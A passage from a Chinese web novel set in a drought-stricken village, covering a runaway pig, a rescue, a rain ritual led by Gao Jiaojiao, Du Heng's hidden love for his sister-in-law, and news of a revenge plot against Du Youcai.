要不以他们的认知,实在难以理解为什么受苦受难的总是自己,要么抱怨,要么不满,要么一蹶不振。 高娇娇放下成见,积极帮着姚春香她们准备祭祀要用的东西。 庙一时半刻盖不起来,要找好地方,购买砖瓦,要做神像塑金身,但是祭祀的事不能再耽搁了。 大家对旱灾的恐惧,已经十分严重了,得找个出口倾斜一下情绪。 姚春香带人去桥下村买了一头猪和一头羊,准备自己杀了当供品。 没想到牵着猪出来,准备摁在门板上宰杀的时候,猪突然挣脱绳子跑了。 高娇娇拔腿就去追,高二宝几个也跟着帮忙围堵,猪吓的四蹄狂奔,慌不择路,一头冲到了官道上。 杜衡做梦也想不到官道对面会冲出来一头猪,来不及反应,马就先惊了。 前蹄高高扬起,发出一声高亢的嘶鸣,他死死抱住马脖子才不至于直接滑下去。 好不容易马的前蹄落下,后腿却使劲一蹬,用力一甩,把刚松开了马脖子想要拉紧缰绳的杜衡给甩了出去。 杜衡只觉得身子瞬间腾空,直接朝全是土疙瘩的地上砸去。 这还不是最可怕的,最可怕的是马扬起了后蹄,那碗口大的蹄子,直冲他的脑袋踢来。 他要是就这么砸下去,被马蹄踹中,不死也要废了。 杜衡拼命挥舞着手脚,试图在空中移动身体。 可一切发生的太快了,他被甩出去的力道很大,大到他的拼命挣扎都像是个笑话。 眼见离地面越来越近,离马蹄也越来越近,杜衡除了紧紧抱住头,绝望地闭起眼睛,什么也做不了。 没有预想中的疼痛,身体落入一个温暖的怀抱中。 杜衡睁开眼睛,看到高娇娇一脸关切问他, “你还好吗?没事吧?” 杜衡的心一下子落回了肚子,竟忍不住鼻头泛酸,眼眶泛红,嫂嫂又救了他一回。 追过来的高二宝等人,目瞪口呆看着高娇娇拦腰横抱着杜衡。 杜衡两脚拖在地上,腰腹被高娇娇抱着,上半身靠在高娇娇怀里,紧紧抓着她的胳膊,仰着脸看着她。 那一副要哭不哭柔柔弱弱的样子,简直比姑娘还姑娘。 画面诡异的高二宝等人都不敢相信自己的眼睛,直到高娇娇扶起了杜衡,扭头冲他们喊, “猪呢?马呢?都愣着干啥,还不快去找!” 高二宝几人才如梦初醒,赶紧四处去找。 高娇娇见周围草木茂盛,担心猪藏进去不好找,忙找了棵附近最高的大树爬了上去,站在树干上,高声指挥高二宝他们。 杜衡站在树下心惊胆颤,忍不住提醒, “嫂嫂你小心点,嫂嫂你别往前了,那根树枝细,经不住你.......” 高娇娇顾不上听,她看高二宝几人追不上马,堵不住猪,急的不行。 一咬牙,从背后解下弓箭,松开为了保持平衡扶着的树干,将后背整个靠在树干上站稳。 深吸一口气,搭箭拉弓,瞄准,射! “嗖——” “嗷——” 一声惨叫,正在庄稼地里狂奔的猪屁股上中了一箭,疼的它不得不放慢了速度。 高二宝几人趁机一拥而上,跟叠罗汉一样把猪扑倒在地。 高娇娇高兴的忘了自己站在树上,一跺脚,脚下树枝发出“咔嚓”一声响,吓的本就把心提到了嗓子眼的杜衡,声音都变调了, “嫂嫂,嫂嫂,树枝要断了,快下来,快下来.......” 高娇娇自己也吓了一跳,可还是被杜衡的奇怪声调逗笑了。 她伸手勾住上头的树枝轻轻一荡,转移到粗一点的树干上,笑话杜衡道, “瞧你那点胆量,放心吧,我从小就爬树,这点高度,就算摔下去也没事。” 说完,一抬头,吓的直接尖叫出声。 好大一个蛇头,正在冲她吐舌头。 眼见黑蛇直扑面门,高娇娇不得不后仰躲避,躲开了蛇的攻击,却没注意脚下。 脚下踩空,手又没抓住树干,呲溜一下就直直从枝叶缝隙中掉了下去。 杜衡见状,本能伸手要去接。 急的高娇娇冲他大喊, “闪开,快闪开,你接不住我,我会把你砸坏的!” 在高娇娇心里,杜衡还是那个瘦瘦小小的孩子,哪怕他现在已经比她高,肩膀也比她宽厚了,也是她要保护的对象。 她本能想要护着他,害怕伤到他。 可杜衡同样想要保护高娇娇,他不肯躲,宁愿自己被砸坏,也不愿意高娇娇受伤。 情急时刻,高娇娇不知怎地想到了双燕姐教她的提气纵跃法门。 自从大宝临走前那晚,她跟着去学了双燕姐的家传枪法后,双燕姐就总说她资质绝佳是练武的材料。 不仅每日带着她一起打拳,还时不时教她一些家传的身法。 提气纵跃就是轻功的一种身法,高娇娇一直练不会,总觉得身体只要离地了就找不到力,做不到郭双燕说的意沉丹田,使身体飘飘然。 郭双燕自己也做不到,她知道的内外功心法都是她娘口述的,具体要怎么练,实战中要怎么应用,她还没姚春香知道的多。 可姚春香也做不到空中提气纵跃,她说内功心法不比外功,可以靠苦练慢慢领悟,完全看个人天赋。 像空中提气纵跃这种难度,绝大多数练武之人一辈子也领悟不到。 但是此刻,在飞速下坠之中,高娇娇却突然领悟到了那种意想自己身处万丈高空,俯瞰山川大地的感觉。 她试着放松身心,两腿自然伸直,两臂自然垂放于身体两侧,闭目合睛,意守百会,吸气提气,努力向上。 忽然觉得非常沉重无法控制的身体一下子轻了,能动了,她用力一扭身,凌空跨步纵跃。 杜衡只觉得眼前一花,本该直直落入他怀里的人,忽然就到了旁边几尺远的地方。 高娇娇发现她用力纵跃的瞬间,那股轻飘飘的感觉消失了,人又恢复成了沉重无法控制的情况。 但经过中间这下缓冲,她离地面已经不到一丈高了,再加上纵跃时掌握了身体的平衡,落地时并没受到太大的冲击。 只觉得脚麻了下,就落到了地上。 亲身体验到了那股玄之又玄的控制力,高娇娇兴奋极了,跳着冲杜衡喊, “你看见没?我会在空中提气纵跃了,我练成了,哈哈,我练成了。” 杜衡呆愣愣收回手臂,看着笑容比头顶骄阳还灿烂的高娇娇,虽然完全不懂什么提气纵跃,但还是跟着开心地笑了起来, “我看见了,你好厉害,一下子就飞了出去。” 高娇娇开心地手舞足蹈,吧啦吧啦跟杜衡说着自己的心得体会,恨不得再爬到树上跳一回。 杜衡察觉到她的意图,赶忙抓住她的手臂提醒她, “嫂嫂,马还没找回来呢。” 高娇娇一拍脑门,对啊,马还没找回来呢,那可是车马行的马,丢了要赔双倍银钱。 高娇娇跑去找马了,杜衡仰头看了眼那棵三丈多高的大树,只觉得后怕不已。 摸了摸自己还在突突直跳的心口,杜衡苦涩一笑。 人原来真的没办法控制自己的心跳,他是真的喜欢上了自己的嫂嫂。 第三百章 她最合适 马被找到了,猪也被抓了回来,姚春香看到杜衡也回来了,很是高兴,举着杀猪刀冲他笑, “你回来的正好,等祭祀完,咱们吃杀猪菜。” 说完,一刀干脆利索地捅进猪脖子,鲜红的血突突往外流。 杜衡....... 果然是有其母必有其女啊! 天热,肉放不住。 除了祭祀要用的猪头羊头,剩下的肉都得抓紧处理掉。 高娇娇帮着分割肉,把剔骨刀耍的跟花一样,去皮剔骨切块,手指翻飞,干脆利落。 看的来买肉的人都忍不住夸, “你这刀用的比你娘还利索,将来也能跟你娘一样当个杀猪匠。” 高娇娇哈哈笑,姚春香有点恼火,她闺女年轻貌美要享清福的,才不会干又脏又累的杀猪匠呢。 想到闺女的婚事,姚春香忍不住想叹气。 托人打听了不少,却没一个满意的,能看上人的,看不上他家里,看上他家里的,看不上他这个人。 迄今为止,还没一个家里没拖累,自己还能拿得出手的。 死老头子还说她太挑了,世上哪有那么多父母双亡长得好人品好还能干的男的等着她挑。 可她闺女这么好,不找个这样的,难道她要去找那家里破事一大堆,自己还立不起来的废物点心? “大娘,猪血都结皮了,要不我先拿回去煮了吧,免得放的有味儿了,不好吃。” 杜衡指着地上盆里的猪血,对姚春香道。 姚春香看看猪血,又看看挽着袖子,不顾读书人的体面跟着忙前忙后的杜衡,只觉得遗憾。 当初要是没把闺女嫁给杜松,而是嫁给杜衡就好了。 这孩子真是哪儿哪儿都好,还勤快会做饭,只可惜,同她闺女没缘分啊。 杜衡被姚大娘奇怪的眼神打量的直起鸡皮疙瘩,不知所措又问了一遍。 姚春香这才从胡思乱想中醒过神,笑着冲他点了点头。 祭祀仪式准备的仓促又隆重,黄昏时分,高长天带领全村百姓,抬着准备好的香帛牲礼,浩浩荡荡来到村东头的高坡上,举行祈雨祭祀。 祭拜鬼神天地,为没能及时盖庙焚香祭拜进行请罪,然后跪请神佛庇护,早日赐下甘霖。 轮到高声宣读祭词时,朱钰突然把高娇娇推了出去。 高娇娇还来不及反应,手里就被塞入了祭词。 站在高长天身侧的陆祥昆和老王,脸色不由有些微妙,跟在他们后面的高大壮等队长,神情更加复杂。 有人事不关己,有人乐见其成,有人满脸不赞同,还有人忍不住小声控诉, “这可是祭祀,她一个女子怎么能行?” 这话引得不少人点头赞同,是啊,这么重要的祭祀,让一个女子诵读祭词,未免也太不合适了。 从古至今都是男为尊女为卑,不管是婚丧嫁娶,还是祭祀祭拜,都由男子来主持大局。 他们村因着逃荒路上的经历,不那么讲究三从四德,还鼓励女子多出来做事。 但这不意味着他们能接受让一个女子来诵读祭词,换成高大壮更为合适,毕竟他才是里正的长子,又为村里做了很多事。 可朱钰既然敢这么干,就已经想好了说词,他捋着胡子,一脸高深莫测道, “此次祭祀主要是为了求雨,尔等须知天属阳,地属阴,日属阳,月属阴。 阳气上升,阴气下降,阴阳相交而化为雨。 自从入夏,数月不曾降雨,可见阳气虽升,阴气却未下降。 故而阴阳无法相交,才不能化为雨。 男子为阳,女子为阴,既然阴气不降,就该让阴气重的女子来求雨才是。 更何况高娇娇虽为女子,但天生神力,不仅在逃荒路上多次奋勇杀敌,还在剿灭匪寨中立下大功。 更是办起了集市,弄出了作坊,让大家都有了赚钱的门路,不管是人品能力都丝毫不输男子。 朱某认为,此次求雨由她来诵读祭词最为合适,诸位可有异议?” 没人说话,陆祥昆和老王不说话,张家集和双水村的人哪怕不情愿也不敢说话。 从柳树沟那边过来的人,本来就很信服高娇娇,哪怕觉得让一个女子诵读祭词有点奇怪,也不会当众下她的脸面。 高大壮兄弟三个更是抢着大声道, “没异议!” “没有异议!” “我小妹最合适!” 他们兄弟都没意见,其他人就更不好反对了。 于是,诵读祭词的事就交给了高娇娇。 在所有人的注视中,高娇娇大声诵道, “大夏甲子年五月二十四日,石楼村全村父老,谨以清酌庶馐,昭告四方土地,雷公电母,云神,龙王尊驾。 跪请神君布泽,润育苍生;龙德应天,广施甘霖.........” 她声音清亮,中气十足,哪怕站在最后一排的人也能听得一清二楚。 当听到她大声诵到“若得神恩应验,必当修筑庙宇,雕塑金身,四时祭祀,不敢怠慢!” 都纷纷跪下,以头触地,虔诚跪求。 杜衡跟着众人跪下祈求,看着站在最前头,将祭词点燃,然后深深跪拜下去的高娇娇,心中满是自豪。 那是他嫂嫂,也是他爱慕的女子,更是要带领全村走向更加美好明天的下一任首领。 杜衡深知朱钰的习性,他连下棋都是走一步算十步的人,绝不可能在这么重要的祭祀仪式上临时起意。 他把高娇娇推出来,让她以一个女子身份来担任主要祭祀人,这本身就是一种试探。 其实从很早以前,杜衡就隐约感觉到了朱钰对高娇娇的看重,或许从逃荒路上,让高娇娇担任后勤队的队长时,朱钰的布局就已经开始了。 他选中高娇娇做高长天的接班人,他现在所做的一切,都是在为她铺路。 这个发现让杜衡有些震惊,但更多的还是激动。 抛开女子身份,不管是才智武力还是人品性情,高娇娇的确是最出色的。 若她是男子,她早就应该站到比高大壮更重要的位置上了。 杜衡相信,石楼村未来由她带领,才是最好的选择。 凡事有第一次就有第二次第三次,等到村民习惯了高娇娇参与村里重要决策后,就会容易接受她来接高长天的班,当石楼村的里正。 哪怕朝廷从未有过女里正,但朝廷同样也没有明文规定,女子不可以当里正。 杜衡很期待高娇娇能成为大夏第一个女里正,让世人都看到她的风采,知晓她的才能。 高娇娇也猜到了朱钰的打算,对于这种不跟自己说一声,就把自己推上去的行为表达了强烈的不满, “你有没有想过,祭祀完要是还不下雨,他们会不会怪到我身上? 到时候你非但没帮我建立威望,反倒让我成为众矢之的了,怎么办?” 朱钰笑的一脸轻松, “不下雨,那就是不够心诚,没能打动神灵。 若是下了雨,就是你求雨有功,福泽深厚。 这种稳赚不赔的买卖你还要担心,我看你啊,才过两天好日子,就把胆气给磨没了。” 高娇娇无语地翻了个大白眼, “你说的倒是轻松,你行你怎么不上,非要我上?” “我不属于这个地方,而你,对这里十分看重。” 朱钰纸扇一合,敲了高娇娇脑门一下。 高娇娇又是无奈,又是感伤,还有心累。 整天有个老狐狸在身旁,心思全部看穿的滋味,谁尝过谁知道。 第三百零一章 下雨了 为了照顾不富裕的张家集和双水村人,这次祭祀,买猪羊的钱是高家出。 只从公中扣除猪头和羊头的钱,然后剩下的肉,各家各户按需要购买。 当天卖不掉的,就由高家自己处理。 姚春香打算做一大锅卤肉,自家分一分,剩下的放到肉铺里卖。 猪血、猪心肺、猪大肠什么的,还有羊血羊杂,都留给高娇娇,她喜欢吃这些杂七杂八的。 于是,这晚,高家的饭菜极其丰盛,大家都放开了肚子拼命吃肉喝汤。 杜衡不仅吃到了刚出锅的卤猪蹄,还吃到了烤五花肉,酱猪蹄,韭菜炒猪血,羊血羊杂汤,最后还被姚春香硬塞到手里一碗猪脑花。 “吃啥补啥,这玩意儿吃了补脑子,专门留给你的,快吃。” 杜衡还能说啥,只能努力往肚子里灌,撑的最后只能扶着墙走路。 吃太饱的后果就是困的厉害,都没顾上跟高娇娇说最重要的事,杜衡倒头就睡着了。 他睡的很沉,连半夜打雷都没听到。 高娇娇也没听到,她还是被杜映梅给推醒的。 杜映梅喊醒高娇娇,兴奋地打开窗户,指着外头冲她嚷, “嫂嫂,嫂嫂快听,打雷了,天好阴啊,神仙显灵了,真的要下雨了!” 高娇娇被裹着浓浓尘土气味的热风,吹的忍不住打了个喷嚏,听到杜映梅的话,一骨碌爬了起来。 把头整个伸出窗外,只见天色黑沉的厉害,风呼呼吹着,远处还能听到轰隆隆的雷声。 她不由又惊又喜,还真是要下雨了。 但之前也有过两次这样的情形,结果一滴雨都没下,老人们说是风太大把云吹走了,雨都下到别的地方了。 所以高娇娇也不敢太期待,扭头问杜映梅, “现在什么时辰了?” “估计卯时了吧,我刚醒的时候听到巡逻队敲锣。” 杜映梅不是很确定,因为天色太暗了,平日卯时的时候天就已经很亮了。 高娇娇看了看鸡棚那边,家里那只大公鸡天亮就会打鸣,今天好像还没打鸣呢。 正想着要不要去牲口棚看看,大黑很贪吃,每天只要天亮了还没喂它,就叫唤的震天响,跟饿死鬼投胎似的。 下一瞬,那只红冠金羽大公鸡就扑扇着翅膀飞上了棚顶,然后脖子一伸,喔喔喔的叫了起来。 还真是卯时了,高娇娇抓起放在枕头边的衣服套到身上,冲杜映梅喊, “走,出去看看。” 两人刚走出门,就感觉风大了许多,等走出院门,爬上坡顶,那种风雨欲来的感觉更加明显。 “是不是要下雨了?” “我好像闻到了水气?” “我也觉得吹过来的风有点湿。” “老天爷快些显灵吧,再不下雨地里的庄稼就要旱死了。” ........ 不知不觉,坡顶上就聚集了很多人,大家眼巴巴望着打雷的方向,恨不得立刻就有乌云落在村子上方,洒下甘霖。 有几个老妇人忍不住想要跪下祈求,被姚春香拦住了,她给出了一个任何人都无法辩驳的理由, “别吵吵,影响神仙施法。” 高娇娇佩服的五体投地,原来神仙还可以这么用,她娘和朱叔在这方面真是天才。 天越来越暗,风越来越急,雷声轰隆隆,好像也越来越近了。 坡顶这块平地上已经站满了人,大家都静静地等待着,期盼着,一眨不眨地望着天空。 终于,有人高喊, “有雨点砸在我脸上了!” “下雨了,下雨了,雨点落在我眼皮上了!” “真的下雨了,真的下雨了。” “老天爷保佑,神仙保佑,祖宗显灵了,谢天谢地。” “哈哈哈哈,下大些,再大些。” “求雨果然有用,等庙盖起来,我一定天天去烧香。” “朱先生真是神人啊,他说要阴阳交合,让女人念祭词可真是太对了!” ....... 高娇娇忍不住跟旁边人一样,伸出手去接雨,仰着脸感受着雨滴落在脸上身上的欢喜。 终于下雨了,太好了,地里的庄稼有救了。 听到有人提起祭祀,不由愣住。 朱钰不会是推算到要下雨了,才故意推她去念祭词吧? 风卷着雨越下越大,越下越密,高长天吆喝着众人赶紧回家去。 检查房屋,关好门窗,加固牲口棚,收拾晒在外头的东西,最最重要的是把院子下水口疏通疏通,千万别让雨水灌到屋里去。 他像个操碎了心的大家长,不遗余力一遍遍叮嘱着,还不忘安排巡逻队去四下转转,看看河水上涨情况,清理沟渠,防止池塘和最上头的蓄水池决堤。 高娇娇和杜映梅飞奔回家,杜衡正带着高小寒和高冬月疏通院里的下水口。 他们已经将牲口棚和鸡棚检查了一遍,还喂了牛马驴,喂了鸡鸭鹅,准备疏通了下水口就去把墙边菜地里菜架子加固一下。 风实在是太大了,雨也下的急,杜衡担心菜架子会被吹倒。 高娇娇和杜映梅赶忙去加固菜架子,等到全部忙完,回到屋里,几人都淋了个半湿。 趁着刚下雨,还不冷,赶紧冲洗换衣服擦头发,等到全部忙完,端着碗喝粥时,雨已经非常大了。 坐在门口,看着天上像是破了个口子一般,大雨跟瓢泼碗倒一般哗啦啦往下流,高娇娇不免有些担心, “这么大的雨,庄稼能撑得住吗?” 谁也不确定,只能不吭声,等雨稍小一些去地里看看情况。 但无论如何,这么大的雨一定能够缓解旱情,哪怕庄稼受一些损失,也比全部旱死了强。 所以高娇娇只是担心了一下,就继续喝粥了。 杜衡熬粥很有耐心,可以守在锅边慢慢搅动,所以熬出来的粥特别粘稠香糯。 不像她,等水开把米倒进去就不管了,为了不糊锅,还会多放一些水。 熬出来的粥多是稀汤寡水,让姚春香嫌弃不已,说她煮出来的粥只配喂牲口。 对此高娇娇是不服气的,她觉得夏天喝点稀粥挺好的,解渴还解饿,一举两得。 不过昨晚吃肉吃的太多了有点腻,今天就想吃点素的。 高娇娇眼馋地望着菜地里的青瓜,还没长成,只有巴掌长,但是应该也可以吃了吧。 杜衡顺着高娇娇的视线,看向那可怜巴巴的小青瓜,好笑道, “别看了,太小了,还要再长长才能吃。” “我就看看,又没说要吃。” 高娇娇嘴硬,不肯承认自己嘴馋,还要替自己找补, “我就是担心风太大把青瓜给扯掉了,被雨一泡就不能吃了。” “所以为了防止浪费,你想现在就把它摘了吃掉?” 杜衡不吃她这套,故意戳破道。 高娇娇白了他一眼,继续嘴硬, “我可没说,是你说的。” “好好好,是我说的,万一风真要把青瓜扯掉了,我立刻就去捡过来给你吃,免得浪费了,好不好?” 杜衡笑着,用哄小孩一般的语气说着,还不忘把咸鸭蛋里的蛋黄夹出来放她碗里。 高娇娇很爱吃,但是也很挑嘴。 鸡蛋只吃蛋清,咸鸭蛋只吃蛋黄,鹅蛋只肯吃煎的,杜衡发现后,就会不动声色把她爱吃的留给她。 他不觉得这有什么,反正他又不挑嘴,吃什么都行。 高娇娇被杜衡照顾习惯了,给了就吃,压根不觉得有什么不对。 杜映梅察觉到了,但她不敢表露分毫,她不敢想要是让人知道她二哥喜欢嫂嫂会有什么后果。 在老家,她听村里人对骂的时候,说这个叫爬灰。 被人知道了,是要被抓去浸猪笼的。 她只能自己骗自己,假装没看到,假装不知道,假装一切都很好。 吃过饭,杜映梅去厨房洗碗收拾,高小寒和高冬月去自己房间玩。 杜衡将昨晚没来得及说的事告诉高娇娇, “衙门收到并州府那边发来的通缉令,杜有才谋杀亲妻,盗取钱财,畏罪逃逸,令并州府内各衙门协助抓捕,尽快将其缉拿归案。” 第三百零二章 丧家之犬 高娇娇惊地倒吸了口凉气, “杜有才疯了不成?他居然敢杀乔氏?” 杜衡摇头, “他不敢,他没下手,下手的是杜家福,他用蒙汗药把乔氏软禁了。” “那怎么?” “是知府夫人,要让杜有才死! 这道通缉令不是公开悬赏,不会张贴布告,是加了密印直接从并州府衙门送到的各处衙门。” “你详细说说,到底是怎么回事。” 高娇娇十分好奇,看似已经跟乔氏断亲了的知府夫人,为何会突然变得这么强势。 杜衡将自己知道的告诉了高娇娇,据凌母所说,知府夫人先是通过大量抛售药材,使得杜家父子破产。 然后又用极低的价钱买下了他们的药铺,不过短短几天,就让杜有才父子一无所有,甚至连他们办路引,托人送出去的银票,最终都落入了知府夫人手中。 逼得他们走投无路,只得连夜出逃。 知府夫人这才去了杜家,把已经三天三夜没吃过东西,被折磨的奄奄一息的乔氏救了出来。 然后拿着乔氏的诉状,和被杜有才发卖的小厮,以及被卖到黑煤窑的马嬷嬷的证词,指控杜有才谋害妻子,盗取钱财,凌虐奴仆。 人证物证齐全,知府大人不用徇私,就可以顺理成章下令抓捕杜有才。 杜有才现在就是个丧家之犬,除了东躲西藏,别无他发。 而乔氏经此一遭,再也没了以往的天真娇纵,老老实实听知府夫人安排,等身子调养好了,这件事情也平息了,找个憨厚老实的男人嫁了。 高娇娇听完,不由感叹知府夫人手段了得,不出手则以,一出手就要杜有才生不如死。 不过,她有些不解, “说到底杜有才也只是杜家福手里的棋子,知府夫人怎么不连杜家福一起通缉了呢?” 杜衡笑了笑, “凌十三他娘也这么问过夫人身边的姚嬷嬷,姚嬷嬷说夫人不想让杜家父子死的太容易。” 高娇娇愣住,想了一会儿才明白过来,但依然觉得有点不可思议, “夫人是想看杜有才父子相残?” 杜衡点头,杜家福是个极度自私自利的人,为了活命,他连妻子和不跟自己姓氏的子女都可以抛弃,可见其心狠。 他看似对杜有才十分看重,掏心掏肺,但他之所以这么做本质上还是为了自己,为了他心里那个虚无缥缈振兴家族的理想。 杜有才说到底就是他改变阶级,振兴家族的工具,要不然他也不会丝毫不顾及杜有才个人名声,让他去引诱乔氏了。 在杜有才还有用时,杜家福肯定是父爱如山,倾尽所有。 但当杜有才没有用了,还变成累赘时,以杜家福的个性,肯定会抛弃杜有才。 甚至把杜有才交出去,来换取自己脱身。 知府夫人想来是十分记恨杜家父子引诱乔氏,害她颜面尽失的事,才会一忍再忍,等到这个时候用这种方式报复。 活的生不如死,可比直接死了,要痛苦的多。 高娇娇想通其中关键,不由后背发凉,这位夫人,可真是个狠人。 杜衡也觉得知府夫人不一般,男人心狠手辣的不少,女人能做到这般的寥寥无几。 不过更让他心中震颤的是,知府夫人居然能够操控药材价格。 若不是这次为了杜家父子露出了端倪,杜衡想破脑袋也想不出药价飞涨的背后还有知府夫人的手笔。 官不与民争利,朝廷明文规定不许官员经商,可知府夫人却把跟人命息息相关的药材牢牢把控在自己手中。 不管百姓死活,只图自己赚个盆满钵溢,这背后若说没有知府大人的默许,他是万万不信的。 这官场,这世道,当真如赵师兄所言的那般黑暗污浊。 难道就没有一位愿意为百姓谋太平的好官吗? “你在想什么?” 高娇娇见杜衡愣愣的一动不动,便推了他一下。 杜衡眨了眨眼睛,看着高娇娇黑白分明的大眼睛,忍不住把心头困惑说与她听。 高娇娇沉默许久,轻声道, “不要想太多,我们可能改变不了这个世道,但我们能做到不被这个世道改变。 像我们一样的人也许不多,但星星之火也可燎原,只要坚持,总会有希望的。” 杜衡喃喃重复着高娇娇的话,释然地笑了起来,重重点头, “你说的对,是我魔障了。” 高娇娇也笑了,谁年少时没有困惑迷茫过啊,只是最终,总是要勇敢面对现实。 她能做的,就是守好这一亩三分地,和家人一起安安稳稳过自己想要的日子。 想到家人,高娇娇忙问杜衡, “你那位郑师兄不是要去赶考了吗?” 杜衡点头, “下月初就启程了,原本是想趁着天不热就动身的。 但师兄放心不下嫂夫人,想陪嫂夫人坐完月子了再走。” 高娇娇笑着夸了句, “你这位师兄是个疼媳妇的,人品应该挺好。” 杜衡微微一怔,想说这不是应该的嘛,他将来若是遇到这种情况,定然也会如此。 可又觉得现在就同高娇娇说这种话,很不好意思,便转而问高娇娇, “你突然问我这个要干嘛?” “哦,狗子和春花不是成亲了嘛,也该去京城认亲了。 本来成了亲就要走的,路引都办好了,我大嫂非要留他们在家住一个月,说是以后怕是再也见不上闺女了。 她一天到晚总抽风,也不知道怎么就突然这么舍不得闺女了。 不过狗子愿意留下,春花也舍不得家,就多留了一个月。 这不眼看着到时候了,他们人生地不熟,年纪又小,要是能跟你师兄他们一起赶路,咱们也能放心不少。” 高娇娇其实知道刘小翠为什么要留春花和狗子多住一个月,她私下里跟春花说了,想让春花趁着这个月赶紧怀上。 省的到了京城,狗子他爹万一嫌她出身低微,不肯认她。 高春花自己心里也有点担心这个,便半推半就应下了,把刘小翠谎称要给高大壮补身体的药,偷偷给张狗子喝了。 高娇娇不知道他俩有没有造出来娃娃,但他们只能在家里多待这一个月。 因为从并州府到京城,便是坐马车也得一个来月,北方冬天来的早,很多时候十月份就会下雪了。 现在已经是六月了,月底若是出发,顺利到达京城就得是八月初了。 路上万一有个耽搁,八月中下旬,甚至九月到也很正常。 九月天就凉了,早晚赶路就很辛苦了。 总之无论如何,他们想去京城,都要赶在十月入冬之前。 想来郑子安也是这么打算的,十月之前赶到京城,安顿下来休养一番,等过了冬,明年二月去参加会试正好。 杜衡觉得张狗子两口子要是能跟着郑师兄一起上路自然很好,但每个人都有每个人的打算,他没问过师兄,自然不好帮师兄先应承。 想了想,跟高娇娇商量, “我明日回到书院,先问问师兄,师兄若是应允,我就给你们捎信回来,咱们好仔细安排一下。 若是师兄不方便,我找凌十三帮忙,让他找个去过京城的镖师,护送狗子和春花去京城,如何?” “还是你考虑的周全,那就这么办,镖师可以雇两个,咱们不怕花钱,就求个平平安安。” 高娇娇知道姚春香把婚宴收到的礼金都给了高春花,还单独给了她二十两银子,让她用作路费。 二哥和三哥也有单独给的银钱,她也给了十两路费。 足够雇两个镖师护送他们去京城了,至于到了京城以后,那就只有看他们自己的造化了。 第三百零三章 他们像是一家人 大宝他们走了,春花和狗子也要走了,孩子们长大了就跟放出去的鸟一样,飞远了就回不来了。 想到大宝自从去了战场,就没了信儿,高娇娇不由有些担心。 杜衡看出她情绪低落,却不知道她为何突然这般,不知从何安慰,便把在炕上呼呼大睡的高小黄抱过来,塞到高娇娇怀里。 戳着小猫的额头,假装气鼓鼓跟高娇娇告状, “昨晚这家伙偷跑到我炕上就算了,还把脑袋枕在我胸口,压得我都有些喘不上气。 要不是你们喊着下雨了,我估计都要被它给压晕过去。” 高娇娇好笑地挠着高小黄的脑袋,听着它舒服的呼噜呼噜,心情不由好了不少,很是护短道, “它才多大点,能有多重啊,哪儿就能把你给压的喘不上气了。” 杜衡见高娇娇笑了,更加夸张在锁骨处比划道, “它可是压在这儿,脖子根儿,稍微一点力就能让我喘不上气。” 高小黄似乎察觉到自己背了口黑锅,也可能是嫌高娇娇挠的位置不够舒服,很是不满地喵喵叫了两声,用尾巴甩了下杜衡。 杜衡揪住它的尾巴,作势要把它拽过来。 吓的它死死揪住高娇娇的衣服,一个劲儿往她怀里钻,喵喵叫个不停。 高娇娇被逗的哈哈大笑,笑声引得在收拾屋檐下木柴的杜映梅看了过来,见他们头挨头凑在一处逗猫玩,不由愣住。 他们可真像一家人,要是当初嫂嫂嫁的是二哥就好了! 这个念头在脑海里闪出来那一瞬,杜映梅都被吓到了。 她赶忙收回视线,继续收拾木柴,暗骂自己胡思乱想。 叔嫂名分都已经定下了,怎么可能更改,若是被人知道她有这个念头,传出些风言风语,她可就把二哥和嫂嫂害惨了。 杜映梅决定要把这个荒唐的念头抛到脑后,可已经在脑海里发了芽生了根的念头,怎么可能那么轻易拔除。 越是不去想,越忍不住去想,越想便越觉得惋惜,完全不由自己。 雨一直下到中午才逐渐转小,高娇娇披上蓑衣戴上斗笠,去地里池塘边转了一圈,发现一切还好,不由放下心来。 回来的时候,见高二宝几个拿着网兜在捞鱼,不由手痒,跑过去也捞了一通。 没捞到什么大鱼,只捞到几条小杂鱼和虾米,高娇娇把网兜递回给高二宝,刚要叮嘱他们两句别往深水处去。 突然看到一个东西高高跃出水面,高娇娇手比脑子快,网兜轮了个半圆,劈头盖脸就朝那东西扣了上去,然后一拉一拽一甩。 “啪啪啪......” 一尺多长的鲤鱼,就这么被她直接甩到了草地上,拼命甩着尾巴想要跳回水里。 高二宝和高金宝等人高兴坏了,齐齐扑了上去,一人摁一人抓一人扯草一人穿过鱼鳃。 高二宝晃着穿好的鲤鱼,冲高娇娇嚷, “姑姑你太厉害了,我们捞了好久都没捞到大鱼,你一来,鱼直接从水里跳出来让你捞!” 高娇娇讪讪笑笑,不是她厉害,纯粹是碰巧。 可这话让从地里回来的人听见了,不由纷纷感叹起高娇娇的运道。 这个说她进山就能找到人参,那个说跟她在一起老虎都不咬人,还有人嚷嚷她带着大家伙祈雨后立刻就下雨了....... 高娇娇听得头大如斗,赶忙找了个借口,一溜烟跑回家去。 杜衡正在厨房做饭,见高娇娇跑的鼻尖冒汗,忙关切问道, “怎么了?地里情况不太好?” “没事,好着呢,水都及时排出去了,庄稼没淹。” 高娇娇摆了摆手,摘下斗笠,脱下蓑衣挂在墙上。 杜衡不解, “那你跑这么快做什么?” 高娇娇苦恼叹气, “我这人喜欢靠实力,不喜欢靠运气,更不喜欢被人当成吉祥物。” 杜衡........ 这话听着也不复杂啊,可他怎么就有点听不懂呢? 啥叫鸡翔舞? 是指鸡拍着翅膀飞起来跳舞吗? 午饭杜衡做的比较简单,切了些昨晚剩的卤肉,煮了一锅豆面条。 豆面条是姚春香送来的,她跟桥下村的人学来的做法,教给了杜衡。 用一多半白面和一小半豌豆面一起和面,然后擀面,切成细长条,炒臊子,浇在煮好的面上,拌匀了吃。 豆面条比纯白面做成的面条口感更加细腻柔滑,还有股豆类特有的清甜,吃起来味道很是独特。 再浇上用肉丁、豆腐丁还有韭菜、蘑菇丁做成的臊子,十分美味。 高娇娇看到豆腐,忙对杜衡道, “咱们村的豆腐坊已经开张了,不仅有豆腐卖,还卖豆皮、豆腐干、豆腐乳,豆腐干五香的和油炸的都有。 你明天去书院的时候带一些过去,你同窗里要是有喜欢吃的,你让他们去城东春燕豆腐坊买。 咱们豆腐坊每天早上都会往那家送货,城里有好几家饭馆酒楼都用上咱们村的豆腐了。” 杜衡惊讶, “你这么快就在城里找到大客户了?” “不用找,客户都是主动上门的。” 高娇娇得意洋洋道, “自从铺面和仓库盖好后,来咱们村摆摊做生意的小贩越来越多,现在除了大集,平常也有人来买东西。 都知道咱们这儿地方大,铺子多,治安好,周围十里八乡的人都爱来,这一传十十传百,就传到城里去了。 